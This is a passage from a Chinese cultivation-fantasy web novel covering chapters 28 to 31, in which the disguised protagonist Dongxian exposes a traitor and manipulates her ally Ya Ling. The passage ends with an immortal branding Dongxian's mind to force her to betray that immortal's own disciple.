炼心境后期的修士自毁丹田引起的浩然动静非一般弟子能够承受，东闲尚无修为，不能像他人掐诀起金刚罩抵挡，其他弟子们未料到如此惊变，因此未能及时给她庇护。
东闲便被这冲击掀飞出去，逼得胸腔鲜血翻涌，一条性命岌岌可危。
鸦昤本就负伤，也不例外地喷出一滩鲜血，差点倒下去，她虚弱地靠在树上，勉强站立着，这会大家的注意力都在怀玉上，顾不得她。
她便迅速调整了自己的状态，不论是什么时候她都如此要强，不甘示弱。
她从储物袋中掏出瓷瓶，记着东闲毫无修为，在这等冲波下必定命若悬丝，遂朝其投去目光，一并抬起左脚。
“怀玉师兄！”数个弟子的呼声一同响起，回应他们的只能是冰凉的身躯坠地的声响。
弟子们皆一拥而上，试图补救这具冰凉的身躯。
安泛泛被眼前的变故看傻了眼，她下意识回头去问东闲到底发生了什么，怀玉师兄怎会突然选择自尽。
“慕婉思，你知道……”
被掀飞的东闲正仰首看她，那副楚楚动人的面容实在是招人怜爱的杀器，无需刻意卖惨，已叫人生起怜惜之意。
“师姐。”
见东闲血色尽无，朝自己委屈地唤了声师姐，安泛泛心中一紧，想起东闲近乎凡人的身躯，忘了要问的话，紧忙往她嘴里塞了个回春丹，稳固她伤势。
药修主救治，对于丹修那些能够救人的丹方同样会有研究，安泛泛也会制备一些丹丸存在身边，以备不时之需。
吞下一粒回春丸，东闲立刻觉得流逝的生气都回来了，只是药性对她来说有些猛烈，她感觉体内气血翻涌得厉害，一口鲜血含在喉中即将喷出。
而后又有温和的力量渗进她的体内，帮她疏通奇经八脉，助她恢复生气。
安泛泛收回了拍在东
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闲背上的掌，对她关切地道：“好多了吗？”
东闲颔首，“多谢师姐。”
将此景尽收于眼底的鸦昤止了步伐，收紧手中瓷瓶，若无其事地别开视线，反正她也走不动，瓷瓶也落不到东闲手里。
这会右臂的疼痛又开始发作，叫她苦苦压抑呻吟，殊不知她的动作皆在东闲余光下一览无遗。
东闲起身，拂去衣裙上的尘灰，眸中闪过一丝转瞬即逝的笑意，转而看向被弟子们团团围住的身躯。
哪怕是到最后一刻怀玉都没有恼羞成怒，自知完了而选择报复性对他们动手。
对于怀玉会选择自行了结生命，东闲并不意外，她清楚自己的计划能通，还有层缘由在于怀玉身上。
怀玉手下留情了。
他并不想动手杀人。
他有很多机会动手，但他都没能下死手，在他的心境混乱之后，这点变得尤为明显。
他帮助魔修剥夺星宿传承，但心中从不愿害死任何一个人。
剥夺星宿传承会伤害被剥夺者的身体，哪怕动作再轻柔也会有伤害，怀玉突然炼制大量的三清丸，想来都是要入了那些外门弟子的肚子。
这也是为何被剥夺星宿传承的外门弟子没有起疑，有了三清丸修复他们的身体，加上一些合适的借口剥夺星宿传承一事便能更好地被瞒住。
怀玉试图这样保存着他那份善意，好让他少受些歉疚，不曾想让慕婉思因他而死。
他最初应是不堪魔修的骚扰，又懦弱怕事，所以才听从魔修的话，让慕婉思成为他们操控的傀儡进而引诱鸦昤，并把此项决定告诉了常怀清。
当初东闲以慕婉思的身份出事的第二日，就收到怀玉亲手赠出一副玉镯。
玉镯做工优良，纹理清晰，是精雕细琢出来的好镯子，当时立刻惹得安泛泛惊呼，可见其价值不菲。
那时东闲还疑心玉镯别有作用，特意让主修炼器的鸦昤来确认玉镯的作用，发现玉镯的作效与怀玉的解释无二般差距。
怀玉说过这本是送给慕婉思做生辰的礼物，只是还没送出手，就得来了慕婉思出事的消息，玉镯因此搁置在一旁。
东闲便猜测，怀玉对从小看到大的慕婉思是有感情的，如若不是魔修让他对鸦昤动手，他不会选择向与鸦昤共处一屋的慕婉思动手。
当初鸦昤夺了炼器比试的魁首还没来玄清宗做交流生，安排鸦昤住宿的师姐提前询问了慕婉思的意见，便做好让鸦昤与慕婉思共住的决定，怀玉就是从慕婉思口中得到两人同住的消息。
他因贪生怕死而迫于魔修淫威，选择将慕婉思炼制为供他们驱使的傀儡，没想到慕婉思死了，心中愧怍万分。在得知慕婉思死而复生后，他露出那样惊讶甚至有些欣喜的神情不是出于伪装。
他为人和善，却懦弱地听从魔修的安排违背本心剥夺星宿传承，他与魔修勾结，却不愿伤及无辜性命为此不惜耗费灵力，做好人不彻底，做坏人也难心狠，怀玉的结局早已注定。
这个人做了半辈子的好人，哪怕一朝为恶，也做不出杀人的举动来，想要为生存向恶低头，又始终狠不下心。
因而铸就东闲的成功。
这一死看似是他了却执念，又何尝不是在逃避。
怀玉身陨已是不可挽回的事实，他们将目光投向知悉所有情况的东闲，询问道：“慕师妹，这究竟发生什么事？”
东闲的面容随之浮上一层哀痛之意，她言简意赅地答道：“怀玉师伯就是剥夺星宿传承的主谋。”
安泛泛不敢相信地道：“怎么会，怀玉师兄怎么会是这样的人。”
其他弟子们同样难以置信，怀玉可是多年霸榜最具有亲和力的长辈的人。
东闲没再解释，她手中的投影珠是最不容反驳的答案。
她上前欲要递去投影珠，暗处杀机毕现。
时刻注意这边情况的鸦昤目色凌厉，人与手中剑一齐脱出。
“小心！”
29.第 29 章
鸦昤身形高挑，东闲幻化的这具身躯身量偏娇小，鸦昤挡过来时，东闲立觉身上覆了层阴影。
东闲原本的身高要比鸦昤还得高上半个头，她在蓝星的身高是一米七六，这具身子同样这般高，傲人的身高使得东闲鲜少会遇到被他人完全遮挡的时候，先前的时候黑灯瞎火，鸦昤挡在她身前她并不觉得两人的身高对比有现在的强烈。
东闲看着眼前如山般屹立不倒的身影，心中生起异样的感觉。
我果然还是喜欢自己的身体，她挡着我的视线了。
东闲挪动几步，同时转动眸子，有意不看前面那对虚浮无力，好似下一刻就要弯曲倒下的腿，转而定格在被鸦昤踢飞的修士。
不，他已经不是修士了，他是一具头首分离的尸体。
方才鸦昤的那腿是冲着头而去吗，东闲记不清了，但无论是冲着哪个部位而去，能让人的脑袋都掉地，这等力量哪是一个重伤患者能做到的。
难以想象，鸦昤都站不稳了，还能发挥出如此巨大的力量。
觉察到自己的想法古怪，东闲复又微不可察地拧眉，自贪狼星君突然动手，她的心境便受其影响跟着混乱起来，这可不是好兆头。
她强行将杂念摒弃，心中给贪狼星君记了一笔，重新审视这位对她出手的修士的面庞，他的头颅滚了一周才停止，而他的面庞恰好对上对向东闲。
一颗死不瞑目的头颅，正死死瞪着东闲，好像身前经历过莫大的痛苦。
东闲心念微动，她可再熟悉不过这颗头的主人了，约莫几盏茶前，这颗头与脖颈的联系就已经岌岌可危。
所以鸦昤能踢掉对方的脑袋，东闲得占大功劳。
尸体的主人正是常怀清。
东闲比谁都清楚常怀清死了，她为了防止常怀清还活着，就算知道他咽气了也不忘毁掉他的内丹，而他突然的诈尸赫然是那群魔修所为。
那群魔修，是在怪她的多管闲事，一并将她一同盯上了。
东闲捂嘴装作害怕地惊呼一声，“好可怕。”
与其带着颤意的惊呼截然相反的是，被素手遮掩的笑意。
执法堂派出来的两纵小队都围上前去，确认常怀清已死，一个死了的人能做出诈尸的反应，恐怕是附近还有人。
他们是听安泛泛说东闲和鸦昤找到了有魔修潜入的痕迹而来，然而事实要比他们以为的还要严重。
两纵小队队长决定先派出几人带死者和伤员离开，余下的人继续搜查，并以信鹤将此事传报给宗门。
彼时的鸦昤还在惊诧于常怀清居然已经死了，但她强撑着一口气挺到现在，方才的大动作牵扯到伤痛令她狠狠蹙眉，脑袋已经意志不清了。
冷不丁地受到身后人的一推，那后背上有被魔狼留下的明显的抓痕，这一推只要带点力就能加重鸦昤的伤势，叫鸦昤面容难掩狰狞，她嘶地一声倒吸一口冷气，有对身后人不设防备的缘故，轻而易举地被推倒地。
鸦昤瞬时愠怒，这一推还带着灵力波动，她又惊又疑，不知东闲为何对她动手，而且下手还不轻，她被掀得头昏眼花，东闲最该知晓她背上的抓伤是与魔狼纠缠中留下，那是不可触碰的地方。
“别以那副神情看我，我是在救你。”
把话道出来的东闲，神情也不算好看。
腥甜的味道自口齿间溢散，东闲方才被三清丹保住的性命因她再次受到冲击而再次开始缓缓流逝。
是了，有人暗中射箭对鸦昤出手。
趁着他们注意力被转移的那刻，想对鸦昤再度动手，毕竟他们从头到尾的目标都是鸦昤。
鸦昤顺其目光看向穿进地中的箭矢，心中生起一阵后怕。
东闲没有修为，怎么可能伤到她，方才的灵气波动是这支箭传来的。
有重伤的缘故，连警惕性都降低，若非东闲的那一掌，她的身体定然凉透了。
东闲没有注意鸦昤登时歉疚的神色，她目光锁定在浓荫中潜伏的魔修，此魔修应是控制常怀清之人，在被发现后也学着怀玉自爆身亡，一点线索也不留。
常怀清的出现是声东击西的一环，目标还是冲着鸦昤而来。
怕是那魔修见怀玉暴露，索性破罐子破摔，直接动手，成了那就是完成目标，没成反正执法堂的弟子在此他也跑不掉。
其实不用东闲出手，鸦昤也绝不会受伤，那把箭根本就是射偏了，被小队中的某个师姐及时反应强行偏离了它的轨道，但是鸦昤已经头昏眼花，大脑迟钝得忽略许多细节，只当自己是被东闲所救。
所以鸦昤感到十分愧疚，手攥着剑强撑着要起来，想同东闲道歉。
东闲头一回觉得她次次逞强上前的性子有些烦人，只怕她这般折腾将自己的命都折腾没了，那东闲还不如帮魔修让她被一箭射死得了。
“你太累了，好好歇息吧。”
她跟着安泛泛学过人体穴位，知道按哪里能让人迅速失去意识，鸦昤本就身负重伤强撑着清醒，被她一按就昏了过去。
这一昏，也舍得丢下手中剑了。
东闲替她接住剑。
她瞧着剑，心下做出比较。
我至少有剑一半重要吧，经历此回生死，定当成为她难以磨灭的回忆，日后她只会更加信任我，为我甘愿付出自我。
东闲有些自得地分出点灵识去看识海的贪狼星君，饶是祂此刻还以缭雾遮掩身形容貌，东闲也能觉察到对方的嫉妒。
心头的阴霾转瞬即逝，东闲不再计较，毕竟贪狼星君在乎的人祂想碰也碰不到，自己却轻轻松松碰到了。
一纵小队护送着她们离开，安泛泛作为药修自然是跟上要为伤患疗伤，何况她的留下又不能添彩，本来也是为了东闲而来，东闲要走了自然是要跟着离开。
方才在鸦昤挺身而出时，安泛泛瞧见鸦昤臂膀与后背触目惊心的伤，为其心疼的同时，也在敬佩鸦昤坚强的意志。
“鸦昤前辈居然受了这么严重的伤，你们究竟发生了什么？”
鸦昤挺在那就是棵傲骨寒松，让人忽略她的形容狼狈，大家的注意力又被怀玉与突然诈尸的常怀清给吸引，便是发现鸦昤伤势也难免因一连串的惊变而短暂忘却。
东闲道：“鸦昤前辈为了保护我与魔狼纠缠，这次能够揭穿怀玉师伯的真面目，也都是鸦昤前辈的功劳。”
安泛泛不疑有他，东闲记忆全失又无自保的能力，单凭她一个人的力量怎能敢去调查外门弟子星宿剥夺的事情。
想到鸦昤忍着疼痛挨到现在，光是目测就可见她受了很严重的伤，安泛泛看着觉得自己也痛起来。
“鸦昤前辈受这么多伤一点都不叫疼的吗，慕婉思，你和鸦昤前辈太胡来了，这种事情为何不上报给宗门，你不是说只是一件小事吗，你还胆大包天瞒着宗门独自行动，是嫌活得不够久吗。”
火气染上眉梢，安泛泛非常不愉快地皱起一张脸，她是明媚娇艳的长相，生气的时候总是显露出别样的可爱，让人忍不住逗弄。
东闲故作忧伤道：“这件事太危险了，而且怀玉师伯平日的形象塑造得那般好，不会有别人信的，我又能跟谁说，谁又会愿意陪我一起冒险呢。”
安泛泛下意识反驳道：“我信呀，你告诉我我可以帮忙的。”
须臾的功夫，安泛泛意识到自己说了什么，面上都红透了。
东闲眨眨眼，道：“师姐，你刚刚好像说什么相信我，是我理解的意思吗，我的意思是，师姐在乎我的安危，舍不得我死。”
“谁管你死活了，你是我姐妹团的一员，我总不能放任你不管。”
安泛泛急得语无伦次，话都说不周全，意识到自己言语的前后矛盾，她更是窘迫得不行。
“慕婉思，你真讨厌。”
她恨恨地道，转身跑开，半路又折回来，侧着脸对东闲道：“你快点跟上来赶去药谷的医馆，你受了伤得需要尽早治疗，我没有在关心你你别多想，医者关心伤患天经地义。”
东闲故作失望道：“师姐真的这样想吗，我会当真的。”
后者捂住耳朵，逃窜的步伐更快了。
***
鸦昤的伤恢复得很快，境界越高身体修复系统会更加强大，淬灵境的修士断臂瞎眼都能救回来，更何况她一个炼心境修士还没严重到断臂瞎眼的程度，只要及时救治，经过一段休养的时日，就能恢复得与正常人一般。
这段休养的
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日子，整个玄清宗传遍她的英勇事迹，就连山下市集的居民们也津津乐道此事，大家将她吹捧得天花乱坠，赞颂她为有勇有谋的侠义之人。
鸦昤得知后，恨不得找个地缝钻进去，她实在难以受住大家的夸赞与敬佩。
更重要的是，她比谁都清楚，真正了结此事的是“慕婉思”而非她，这等嘉奖她得来有愧，令她很心虚。
她复盘了一日的经历，当时的魔修是想对她动手，而非“慕婉思”，时间再往前推移，她险些被怀玉剥夺星宿传承，若非“慕婉思”两次出手，她如今可不能留在弟子居中，安稳地休养身体了。
厘清这一切后，鸦昤找上东闲，不解地问道：“为何要说是我，明明这一切……”
东闲立起一根手指抵在唇前，做出噤声的动作。
鸦昤于是噤声。
见她这般听话，东闲忍不住弯起唇角。
“依你觉得，我是什么样的人。”
她靠上前去，拿起鸦昤的手，往她的掌心中放了东西。
她的手贴来的时候使得鸦昤不禁回忆起在孤寂的野林时，东闲握住她的掌心问她冷不冷，还告诉她她会带着自己一起离开。
那一刻她心生感动，居然有一人宁可放弃性命也要折回来救她。
如今东闲真的做到了，她们一起脱离危险，完好无损地站在庭院里，享受着习习微风吹拂。
鸦昤看向掌心被塞来来的物什，是一个瓷瓶。
东闲的声音再次响起。
“你是信我的，对吗？这个瓷瓶是你遗落的，你担心我伤势原本是打算给我的。”
瓷瓶大多一个模样，故而鸦昤没能第一时间认出掌心的瓷瓶是自己的那个，她记不清自己当时把瓷瓶放哪了，或许真如东闲所言那般无意间落下了。
鸦昤蠕动嘴唇，想要辩驳，看着她的眼神，却回答了个“是”。
她必须肯定东闲救了她，东闲从未有过害人的想法，都是自己以小人之心度君子之腹。
救命之恩没齿难忘，鸦昤向来是善恶分明、有恩必报的人，她承了东闲的义，怎好做忘恩负义之徒。
所以她前来询问东闲的时候，并没有带着质疑与揣测而来，她仅仅单纯地不解，为何东闲要将功劳安在她头上。
“你想要做什么？”
东闲回道：“我想代替慕婉思，见一见她的父亲。”
我想留在玄清宗继续修行，直到朝阳长老回来。
鸦昤利落地回了声“好”。
事实上还是她赚了，她得了美名，留下一桩佳话。
鸦昤不好意思占去东闲的功劳，但是若要澄清真相，东闲的身份必定遭到怀疑，她便顺着东闲的意，亦不过问东闲的身份，并替她隐瞒着她的真实身份，反正东闲肯定不会是恶人，相反是值得信赖的朋友。
与东闲暂别，鸦昤是装着心事走的。
这件事对于鸦昤来说还没有结束，因为魔修的目标有她。
魔修想要什么，无非是源于那日的异象。
鸦昤是被星君赐福之人。
能得星君赐福之人，皆要沦落内丹被剥夺的结局。
鸦昤知道他们为的是什么，造神。
已经有一千年没有人能够飞升，随着天道规则的更改，境界的提升需要太多太多的天材地宝堆砌，又有难以抵挡的雷劫。
有一传言得出，只要能得到一定数量的被星君赐福之人的内丹，就能打造一副神魂，直接飞升，免去折磨。
这无疑是比传统的方式简单到千百倍不止的好法子。
心怀野心的修士鲜少会抵挡住诱惑。
能受星君青睐之人，多多少少也是会遭人嫉妒的。
其实面临如此困境的不单单是她一人，那人的处境要比她还艰辛。
就在一段时间前，她在神庙看见了贪狼星君的显灵，而祂的显灵是因为那人。
回想着那张可恨的面孔，鸦昤没由来的一阵心烦意乱，说来也奇怪，有一段时间未曾听说过那人的死活，难道她也从贪狼星君那得到什么机缘不成。
鸦昤曾在得到破军星君赐福后，同时被赠送了一段机缘，只是这段机缘鸦昤迟迟还未开始。
30.第 30 章
关于外门弟子星宿传承被剥夺一事还未得到了结，此事牵扯魔修，长老们很重视此事。常怀清死因离奇无法追溯真相，怀玉和动手的魔修当场自尽更是断掉了最后的线索，唯二的知情人即东闲与鸦昤，皆要接受审问。
那是东闲第一次见到亓沂，有着代掌门权力的亓沂位于大殿中央的高座上，内门弟子的服饰不作区分，偏生她穿着倒同人间帝王的龙袍般，叫人不可逼视。
亓沂此人生了一张下三白的面孔，生来就用鼻孔看人，眸光流转的尽是疏离之色，光从容貌上就能应上弟子们对她本性凉薄的评价。
她天生就带万众朝拜的光环，不用开口便是坐在那就能无形予人压迫，周身气场强大迫人，压得人直喘不过气，射来的双目如两点寒漆，你定会祈求她的目光不要落在你身上，哪怕是你心中无愧，你的脊梁你的双腿也都会在那双目光下不可抗拒地臣服。
亓沂的确有睥睨人的资本，如今年方二十二，就已经是炼心境后期的修士。
一般的修士在抵达炼心境前，是不能借助天材地宝升境，这一阶段称为固灵，而单纯地靠修炼吸取天地灵气是极为缓慢的过程，像亓沂这般的成绩世间少有，东闲若是也这般厉害，只会比亓沂狂。
审问还未开始，大殿倏然寂静，这种寂静是源自于众人对来人的敬畏，是来无影去无踪的清微仙尊来了。
东闲莫名地有些紧张。
清微仙尊修习心道达到登峰造极的境界，早就开了双洞悉人心的天眼，天眼可堪破他人谎言，据悉他人想法，同样能够让一切伪装无处遁形。
东闲并不敢确定百生镜能逃得过天眼的窥探，在进一步了解天眼后，她发现天眼的力量比她所想象的还要生猛。
清微仙尊定然知道她不是慕婉思，来此一遭，会不会想当中揭穿她的身份？
东闲能够在玄清宗待到今天，全凭赌自己对于清微仙尊有一定用处，不然就凭清微仙尊对她的不喜，也不可能让她在宗门留这么久。
清微仙尊只看向行使掌门权利的亓沂，话也似乎只对她说的。
她说，她要带走慕婉思另有用处。
亓沂没出声，她直直地看过去，不见一点敬畏，即便是仙尊的到来，她的压迫不曾减弱半分。
东闲那一刻居然能够理解她——
我是掌门，我的话语权不比你小，我无需看你的眼色。
当然，这种想法是不对的，最起码不符合正常思路，她对上的可是化虚境中期的清微仙尊，此世间能有几个化虚境的大能，就是大乘境后期的掌门来了，在仙尊眼前也不够看。
两旁的长老都想摁着她的头应好了，偏偏亓沂对一双双将她盯穿个洞的目光熟视无睹，非要把两人都审问完才允许仙尊带走人。
清微仙尊还真就退至一旁等候。
东闲蓦然想笑，然后高座上的目光便扎了过来，这场审问便开始了。
东闲早有腹稿，这场审问的优势在于只剩她和鸦昤是亲历者，而鸦昤也答应会保全她的身份。
唯一让她心尖震颤的是，亓沂问她常怀清之死是否与她有关，东闲不知她为何出此言，如何来看一个堪堪引气入体的修士都不可能打败凝元境的修士。
而亓沂的解释很简单，因为常怀清是几乎被削去整个脑袋而死，伤口处极其锋利平整。
一个人只有在想置另一个人于死地时，才会出手如此狠辣而果断，作为反抗者东闲在得到合适的杀人机会，必会选择一击毙命，不然她不会再有机会反杀。
这是亓沂在东闲前面说她为了回去救人的基础上，判断东闲可能遇见了常怀清。
东闲没有承认，她说亓沂太过高看一个才引气入体之人的能耐。
亓沂不置可否。
最后由于证据不足，只是亓沂单方面的猜测，东闲被洗去嫌疑。
直到审问结束，亓沂没有作出任何想法，摆了摆手，允许仙尊把人带走。
东闲踩着清微仙尊的步伐，再次来到长白峰，非人能够忍受的寒雪霜冰叫人摧眉折腰。
东闲眼睫鬓边已沾满霜雪，她冻得全身僵硬，冰雪渗进鞋袜，两脚早无知觉，这回没有符咒加持，全凭着一股意志前行，若修为足够，她可起灵气护体，免得这具这具身躯受了风寒。
东闲默默注视着清微仙尊不染霜雪的背影，并未开口寻求庇护，若清微仙尊愿意，根本无需她动口。
对于昨日清微仙尊亲自出手解难她挺意外的，她只猜到仙尊不会让她死，没想到阵法破除后，清微仙尊会现身表明态度。
不知多久，东闲几欲被冻成风雪中的冰雕时，有一护体屏罩遮来，挡住寒风霜雪，东闲的体温在这护体屏罩中渐渐回温。
东闲第一时间出声道谢：“多谢仙尊。”
清微仙尊走在前面，一刻未停，没有回应。
她早就明白这里的冰霜对一个才引气入体的修士有多痛苦，却是让东闲受着霜寒一步一步踩着冰雪爬至山巅。
修心道之人心如止水，处世淡然，本不是容易生气的性子，清微仙尊怎会对她心生不满。
是她哪里招惹了清微仙尊还是慕婉思招惹了清微仙尊？
如若是她的话，二人正正经经地加上这次才不过见了两面，是对方先斥她重欲，与心道一辈子无缘。
余光瞥见某座峰头有霞光万丈，似是圣阶法器诞生的信号，东闲被远处异象所诱，步伐也因此慢了下来，回首时已与清微仙尊拉开大段距离。
东闲快步跟上。
雪巅之上是清微仙尊的住处，长老们都住洞府，唯清微仙尊同弟子们一般在峰顶打造一间屋子。
离那屋子还有数里步停止，东闲觉得对方不会是请她进去喝茶的样子，也是厌烦这一路的无声，于是主动出声询问：“敢问仙尊找弟子何事？”
清微仙尊出声了，这是她第一次对东闲说话。
“那日你可在藏书阁中见到一只眼睛。”
东闲对那只眼睛印象深刻，她一提便立刻记起，东闲记得那只眼是天眼，还是一只特殊的天眼，如今看来是与清微仙尊有联系。
清微仙尊继续出声，她的声音不比这雪巅的严寒少半点。
“待你离开玄清宗，你去碧连山接一个人出山。”
听清微仙尊的要求是让她去接一个人出世，东闲顿感意外，猜想此人应当是安泛泛口中所言她在外收的弟子。
可为何指名道姓地让她带走，这人为何会留在碧连山。
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“只要带他出世，不用做其他事吗？他若是不愿，弟子还要强迫带他出世吗？”
清微仙尊见她没有拒绝，又没过问其他，连那碧连山的情况都没多问，似乎已是应下自己的要求，话语中的冷淡少了丁点。
“她会愿意的，带她出山后，你要让她全心全意地信赖你，而后背叛她，抛弃她，不要给她希望。”
东闲怔愣一瞬，感觉护体的屏罩突然失去奏效，漫天霜雪再度欺来，整个人重新被冻结。
碧连山上的那人不是清微仙尊的徒弟吗，难道是她猜错了？
东闲大着胆子问道：“敢问仙尊在外还有一个徒弟？”
清微仙尊道：“我要你带出来的人，正是她，一个会带来灭世之灾的人，无论是谁都不该存活于世。”
这话说得竟比霜冰还冻人。
清微仙尊越解释越让东闲好奇，但她选择先应下不再多问，仙尊似乎很满意她的识趣，她感觉护体的屏罩有暖气渗入，身上附着的冰霜化成滩滩水迹，睫毛上融化的霜冰更是遮住视线。
她擦去眼眶内的水雾，视线中的清微仙尊便能看得更清楚了，不但看得清楚，视线还多了一活物。
是清微仙尊的仙鹤，如今亲昵地朝她靠了过来，似乎还想要她摸摸头。
见自己豢养的仙鹤冲着自己不喜的东闲撒娇，清微仙尊暗骂这个吃里扒外的孽障。
无形的力量拉住仙鹤往回扯，仙鹤被迫与东闲分离，不情不愿地发出一声长鸣，那凄清不舍的鸣声倒显得清微仙尊恶毒了。
清微仙尊的语调更冷，好容易缓和一丢丢的态度，因仙鹤的主动贴近而愈加冷淡。
“它为何会主动亲近你？”
上回她只当是自家仙鹤心肠软，看不得有人冻死在雪山上，如今看来，分明是仙鹤很亲近东闲，这可少见。
东闲道：“弟子不知。”
清微仙尊看着她，不再言语，这道目光之中有着隐晦的赶人之意。
东闲看出来了，想了想，还是问道：“弟子还有一问，敢问仙尊为何不喜欢弟子？”
她不是自恋得要人见人爱，只是清微仙尊从未表达过对谁的不喜，唯独看不惯她。
清微仙尊没有回答，曾在她的天眼窥视下，她能看见东闲周身几道交缠在一起而显得错综复杂且剪不断的因果线。
“你走吧。”
东闲怀揣着诸多思绪告退，离开了长白峰。
清微仙尊最终做出一个她认为正确且绝对不会出错的决定。
她观察了东闲数日，以旁观者的角度最能了解东闲此人，便知晓东闲如何得到鸦昤的信任，如何利用鸦昤，如何让鸦昤陷入危险境地，这般自私无情之人，绝不能让徒弟那五成的生成真。
她的徒弟固然单纯，可染上孤煞咒，纵是无辜也得死。
清微仙尊曾动了恻隐之心收下唐云岫为徒，让其与世隔绝地在山上生活十年，原以为这样能够削弱她体内的孤煞咒，可见她即将年满二十，体内的孤煞咒都不曾消减半分，甚至比最初还强上不少。
孤煞咒的解除办法有两种，第一种办法最难达成，清微仙尊从未想过用第一种方法。第二种办法便是提前让孤煞咒觉醒，以滋养它的灵识再度封印。
31.第 31 章
当夜，东闲在居所复习识海中的百道秘法，是有鸦昤受伤需要休养的缘故，东师父的教学只好遗憾停止。
而就在她想要修习百道秘法时，居然发现自己的识海被打下烙印。
每一个修士在引气入体后，都会打开识海，修士与灵兽缔结契约、修士被法器认主，二者产生的链接都会在识海中有所表现。
识海也会被侵入，一旦被侵入，就有被窥探记忆、扰乱心境变疯魔的危险。
打下烙印是侵入识海的一种，尽管不能窥探记忆，但有逼人疯魔的隐患。
东闲的识海显然被打下烙印，恍若熔浆浇铸的锁链束缚住她的灵魂。想要解除锁链必须完成清微仙尊的要求，如若不能按照要求完成会怎样？
东闲尝试反抗，锁链蓦地收紧，灼烧着她的灵魂，锥心的痛楚令她死死抓住案沿，东闲咬紧牙关咽住疼痛的叫声，想要发泄却无处发泄，灵魂的疼痛要大于□□，连晕厥都是奢望。
识海里莫名出现许多诱哄的声音，它们说服从我们吧，我们会给你极致的力量，让世间万物都臣服于你。
这听起来实在是动人极了，道出了东闲内心的欲望，但是东闲想说我如若能成为这世上最厉害的人，那一定是我的功劳而不是你们的。
这些声音不厌其烦地在她耳边重复回响着，它们就跟听不见东闲的拒绝也感受不到东闲的反抗一样，东闲都要觉得自己哪怕没想法也会因这些声音太吵了，而忍不住答应它们。
“无视无听，抱神以静……”
回想到上心道课时黑长老传授的静心诀，她连忙念起来，再不敢去反抗被打下的烙印，就这样把静心诀念了个五遍，凭空出现的声音都被念跑了，再不会扰乱她的心境。
东闲缓回神，抬眸朝梳妆台的铜镜看去，昏黄的铜镜映照出她略显狰狞的面孔。
她对着铜镜，扯了扯嘴角，半无往日有意流露的亲昵友好，带着不爽的戾气。
仅仅是产生一点反抗的念头，就叫她难受欲死，让她提前感受成魔的前兆，她若真正地去反抗，现在岂不是已经是一个魔修了。
在凝元境变成魔修，这么弱还成为魔修，当然是被杀得彻彻底底的呀。
清微仙尊没有指出东闲的身份，态度上也是模棱两可，清微仙尊出现在大堂上把她带走又让她安然回来，此举有另样地表明她没问题的意味。
仙尊都表态了，故而东闲回来也有段时间，长老们也没有过多地怀疑她。
但是就冲对方眼中容不得祸害的态度，知道她入魔了可不得第一个提刀过来砍她项上人头啊。
毕竟清微仙尊狠起来连相处十年的亲徒弟都要杀的。
可以说，清微仙尊也是用这种方式告诉她，做不到就别想活命。
而且东闲一点都不想成为魔修，魔修这个词意味着这辈子都要被心中欲望驱使，成为欲望的俘虏，做事已无理智，能被自己欲望所驱使的怎还会算是一个人，东闲讨厌不受掌控的感觉，所以她决计不可能成为魔修的。
东闲心绪烦躁的同时，也在深受震撼。
她算是亲身经历一回来自化虚境中期的修士的力量，无声无息地就能给她下了烙印，轻而易举地让她为仙尊所用，东闲把脑袋想空了都想不明白对方是什么给她下的烙印。
东闲脸色很是不好看，前有贪狼星君逼她救人，后有清微仙尊给她下烙印。
到底是她太弱了，不然她不会到任人宰割的地步，贪狼星君授她百道秘法，她却苦于境界太低施展出来的力量都要让人怀疑她修的秘法是冒牌货。
东闲冷静下来，事已至此，还是想办法早点解决她识海中的烙印。
清微仙尊要她去接近自己的弟子，得他信任然后抛弃背叛他，要是有机会还得亲手了结他。
东闲心觉自己的面相看起来不像道貌昂然人渣吧，怎么给她安排了这么一件卑劣无耻的事。
她自问自己也确实自私，奉自己的利益至上，但是让她招惹一个无冤无仇的人，这也不太符合她的行事准则。
当然，烙印是不会给她拒绝的机会，所以以自己利益至上的东闲必然会照仙尊要求，从而解除烙印。
这清微仙尊也是个无情的，与徒弟有着十年的感情，结果一句你是灭世的祸害，说杀就杀了。
东闲不由得好奇，清微仙尊那徒弟得有多大的本事才能成为灭世的祸害，叫清微仙尊都忌惮。
还有这要求奇怪得很，为何解决她那个徒弟非得用这种人渣方法。
比起这些，她更好奇的是，怎么偏偏这事指名道姓地要她去干，她与对方有什么联系，还是说她有什么作用。
东闲一直以为是自己从蓝星穿越到这座大陆，可种种事迹在告诉她她是不寻常的。
她不明白，她确实拥有在蓝星的记忆，但是她又对这个世界有着归属感，就仿若她合该是在这个世上的。
忽闻叩门声响，东闲暂时收起思绪，先是心疑鸦昤来了，然而当她去开门时，发现投在隔扇上的影子是一件物什，没有人。
东闲稍作思忖，还是开门，入目的是一把通体碧绿且富有光泽的尺子，周身有灵气流转，上面篆刻流光溢彩的铭文，并以折枝串花与飞鸟为辅。
似乎是件法器。
这把尺子似乎很激动，全身打着颤，看见东闲开门后，很主动地落入东闲怀中，讨好似地蹭了蹭她。
东闲仔细感受，却是在识海感受到一人一尺间生起的联系，这似乎是要认她为主的意思。
东闲忽而想到白日被仙尊找去，看见它峰峰顶漫天霞云，这物什某不是与那霞云有关。
还不待东闲多想，庭院外传来嘈杂的声响，东闲闻讯向外走，发现好些弟子们朝她的方向而来。
为首的师姐焦急地问道：“慕师妹，你可曾见过上清尺，就是一把通体碧绿的尺子。”
东闲将绿尺藏在身后，阻止它想要亲昵的动作，故作不解地道：“上清尺？那是何物？我也未曾见过有什么异变。”
对方回道：“你白日应该注意到来自穿云峰峰顶的异象吧，那是绿云长老锻造整整五年的法器成了，还是一把圣阶法器呢，只是这法器刚锻造完成就往一个方向而去，我们看上清尺朝这边来了，这才问问慕师妹你有没有见到上清尺。”
东闲有些意动了，居然是一件圣阶法器，对于现在才引气入体的她，能拥有一把圣阶法器无疑是件好事，这可以大大提升她的战斗力，毕竟战斗力再低，装备逆天也能打啊。
她又闻一旁的弟子道：“虽然圣阶法器万般难养，需要日日耗费上百颗灵石滋养，若被圣阶法器认主，叫我砸锅卖铁我都要养活它。
“慕师妹你真的没看见它吗，你可不要骗我们啊，你该不会自己收起来了吧，绿云长老可是说了，见者都有让上清尺认主的机会，你可得拿出来让我们看看呀。”
这话说得不好听，惹得一旁的弟子叫他少说一点，但同样没为东闲说话，他们可是看见了上清尺往东闲这边飞来了，人人都会对圣阶法器生有妄念，东闲一时忍不住诱惑把它偷偷藏起来也不是没可能。
如若是这样，东闲也太可恶了，他们可连上清尺长什么样都不知道呢。
东闲暗自评价，这可不是给自己败家的嘛，她定是赚不到多少灵石的，修为有限赚灵石也不如别人赚得多，一认主就得为自己背背负巨额债款，麻烦得很。
